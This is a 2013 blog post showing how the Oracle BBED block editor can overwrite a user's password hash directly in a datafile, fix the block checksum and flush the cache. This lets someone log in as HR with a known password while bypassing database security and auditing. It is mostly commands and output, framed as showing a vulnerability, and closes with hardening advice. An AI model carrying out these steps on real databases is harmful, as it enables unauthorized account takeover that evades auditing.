Sunday, January 20, 2013

Using BBED to update Oracle Password Hashes


In a previous blog post I showed it was possible to extract unencrypted data directly from Oracle database files, bypassing all database level security and auditing.

In this post I will show it is also possible to avoid database level security and audit to update data.    It is relatively easy to write a program to do this if you understand the Oracle block structure, but for this example I will use the BBED tool (Oracle Block Browser and EDitor)

The BBED tool is not documented or supported by Oracle for external clients, and is not distributed by Oracle in binary form, so must be compiled when needed.  The libraries needed to compile it have not been distributed in 11g, but it still compiles with files copied from a 10g install.

Of course linking this tool with manually copied libraries, with no documentation or support from Oracle could easily lead to unrecoverable data corruption.  It should be safe to use it to read data from blocks but I don't recommend using BBED to modify data on a database you care about.   Test it against a DEV database, and don't expect support.

Using BBED to update password hashes in USER$ (cluster C_USER#)


BBED can directly update data in tables.  In this case I am updating the password hash in table USER$ (cluster C_USER#) to allow database login with a known password.

The database is Oracle 11.2.0.1 on 32 bit Linux.  I have also enabled case sensitive login for extra security, so password hashes are stored in attribute SPARE4.

SQL> show parameter case

NAME                                 TYPE        VALUE
------------------------------------ ----------- ----------------
sec_case_sensitive_logon             boolean     TRUE

First get the hash for a known password.  This can be done in any database, then used on the target.

SQL> alter user hr identified by knownpassword;

User altered.

SQL> select spare4 from user$ where name in ('HR');

SPARE4
--------------------------------------------------------------------------------
S:EA05877BC03C03422C55E39A43BD013013D7EEF334CF5FEAA022D952B78E

So the hash we WANT is :-
S:EA05877BC03C03422C55E39A43BD013013D7EEF334CF5FEAA022D952B78E

Now find details of the string, file, block, offset to replace.  This could be done by scanning blocks on disk, but in this demonstration I will use data dictionary tables to speed it up.

SQL> select spare4 from user$ where name in ('HR');

SPARE4
-----------------------------------------------------------------
S:67C6E2E3B0690D6659CF11B7EB968A64879174F4276654CD0B980314C98C

And the hash we want to REPLACE is :-
S:67C6E2E3B0690D6659CF11B7EB968A64879174F4276654CD0B980314C98C

Now we find the file and block where we should look for the hash string.

SQL> select file_id, block_id, blocks from dba_extents where segment_name = 'C_USER#';

   FILE_ID   BLOCK_ID     BLOCKS
---------- ---------- ----------
         1        208          8

SQL> select rowid from sys.user$ where name = 'HR';

ROWID
------------------
AAAAAKAABAAAADVAAG

SQL> SELECT dbms_rowid.rowid_block_number('AAAAAKAABAAAADVAAG') FROM dual;

DBMS_ROWID.ROWID_BLOCK_NUMBER('AAAAAKAABAAAADVAAG')
---------------------------------------------------
                                                213

SQL> select file#||' '||name||' '||bytes from v$datafile where file# = 1;

FILE#||''||NAME||''||BYTES
--------------------------------------------------------------------------------
1 /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf 702545920

So we have identified that C_USER# is stored in file 1, in one extent of 8 blocks starting at block number 208.  The actual row we want to update is in block 213.

With the file details we can create the parameter file and execute BBED :-

vi /home/oracle/bbed.par

blocksize=8192
listfile=/home/oracle/fileunix.log
mode=edit
1 /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf 702545920


$ bbed
Password:

BBED: Release 2.0.0.0.0 - Limited Production on Mon Jan 21 08:34:55 2013

Copyright (c) 1982, 2009, Oracle and/or its affiliates.  All rights reserved.

************* !!! For Oracle Internal Use only !!! ***************


# Load the configuration file :-

BBED> SET LIST '/home/oracle/bbed.par'
        LISTFILE        /home/oracle/bbed.par

# Specify the filename to work on :-

BBED> SET FILENAME '/ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf'
        FILENAME        /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf

# Tell BBED to work on file 1, block 213 :-

BBED> set dba 1,213
        DBA             0x004000d5 (4194517 1,213)

# Now find the offset where the hash string starts :-

BBED> find /c S:67C6E2E3B0690D6659CF11B7EB968A64879174F4276654CD0B980314C98C
 File: /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf (1)
 Block: 213              Offsets: 5393 to 5904           Dba:0x004000d5
------------------------------------------------------------------------
 533a3637 43364532 45334230 36393044 36363539 43463131 42374542 39363841
 36343837 39313734 46343237 36363534 43443042 39383033 31344339 38436c00
 16040248 5202c102 10433232 42333046 42423839 42363541 4402c108 02c10407


# Dump the data at that offset to confirm the length and content

BBED> dump /v dba 1,213 offset 5393 count 62
 File: /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf (1)
 Block: 213     Offsets: 5393 to 5454  Dba:0x004000d5
-------------------------------------------------------
 533a3637 43364532 45334230 36393044 l S:67C6E2E3B0690D
 36363539 43463131 42374542 39363841 l 6659CF11B7EB968A
 36343837 39313734 46343237 36363534 l 64879174F4276654
 43443042 39383033 31344339 3843     l CD0B980314C98C


# Set BBED to EDIT mode

BBED> SET MODE EDIT
        MODE            Edit

# Modify update the block with the new hash string from the specified offset

BBED> modify /c S:EA05877BC03C03422C55E39A43BD013013D7EEF334CF5FEAA022D952B78E dba 1,213 offset 5393
Warning: contents of previous BIFILE will be lost. Proceed? (Y/N) Y
 File: /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf (1)
 Block: 213              Offsets: 5393 to 5454           Dba:0x004000d5
------------------------------------------------------------------------
 533a4541 30353837 37424330 33433033 34323243 35354533 39413433 42443031
 33303133 44374545 46333334 43463546 45414130 32324439 35324237 3845

# Dump the data again to confirm the update.

BBED> dump /v dba 1,213 offset 5393 count 62
 File: /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf (1)
 Block: 213     Offsets: 5393 to 5454  Dba:0x004000d5
-------------------------------------------------------
 533a4541 30353837 37424330 33433033 l S:EA05877BC03C03
 34323243 35354533 39413433 42443031 l 422C55E39A43BD01
 33303133 44374545 46333334 43463546 l 3013D7EEF334CF5F
 45414130 32324439 35324237 3845     l EAA022D952B78E

We confirmed that the hash has been updated.  Now, we need to update the block checksum to match the new data.

Check if the checksum needs to be updated :-

BBED> sum dba 1,213
Check value for File 1, Block 213:
current = 0x8d06, required = 0x8208

It does need to be updated, so now we apply the update.

BBED> sum dba 1,213 apply
Check value for File 1, Block 213:
current = 0x8208, required = 0x8208

# Now exit BBED and check from the database if we can see the changed data :-

SQL> select spare4 from user$ where name in ('HR');

SPARE4
-----------------------------------------------------------------
S:67C6E2E3B0690D6659CF11B7EB968A64879174F4276654CD0B980314C98C

# Select from the database is still showing the old value because it uses the cached block version in memory.  The database needs to re-read the block from disk to get the updated block.  This could be done by a database restart, by filling the buffer cache to flush LRU blocks, or by manually flushing the cache.  If someone was actually using BBED to update data the best time would be immediately before or after a database restart to avoid a mismatch between data on disk and in cache, and avoid having the changed disk block being overwritten.

In this case I will speed up the process by flushing the cache.

SQL> alter system flush buffer_cache;

System altered.

SQL> select spare4 from user$ where name in ('HR');

SPARE4
-----------------------------------------------------------------
S:EA05877BC03C03422C55E39A43BD013013D7EEF334CF5FEAA022D952B78E

You can see the select now returns the updated hash for the known password.  And we can test is using :-

SQL> connect hr/knownpassword

Connected.


Using BBED (or similar program) it is possible for someone with write access to Oracle datafiles to directly update data, passwords, or code and bypass database level security and audit.   To avoid this vulnerability, secure the server, limit access to datafiles, and encrypt sensitive data.

If you want to find out more about BBED you can run "help all" you can get a basic listing of commands.

More information about BBED can be found here in the following document by Graham Thornton :- http://orafaq.com/papers/dissassembling_the_data_block.pdf